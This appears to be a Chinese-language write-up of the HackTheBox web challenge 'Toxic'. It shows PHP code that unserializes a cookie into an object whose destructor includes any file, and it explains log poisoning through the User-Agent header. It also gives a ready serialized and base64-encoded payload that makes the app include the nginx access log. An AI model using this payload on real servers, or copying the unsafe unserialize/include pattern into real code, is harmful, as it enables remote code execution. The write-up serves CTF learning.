HackTheBox Toxic WriteUP

题目

Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸

Toxic

Web

思路

源代码很简单,只有两个PHP文件

//index.php

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
//PageModel.php
<?php
class PageModel
{
    public $file;

    public function __destruct() 
    {
        include($this->file);
    }
}

很显然,是一个PHP反序列化+文件包含的漏洞利用。

这里就需要找到一个可包含的日志文件,我们可以在nginx.conf中找到AccessLog文件的位置。

AccessLog

解题

利用User-Agent写入WebShell:

UA

构造包含AccessLog的序列化数据:

O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
//base64encode
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==

利用WebShell获得文件名和Flag

FileName

Flag

后记

非常简单的一个Challenge,很适合作为学习PHP反序列化的入门练习。

参考资料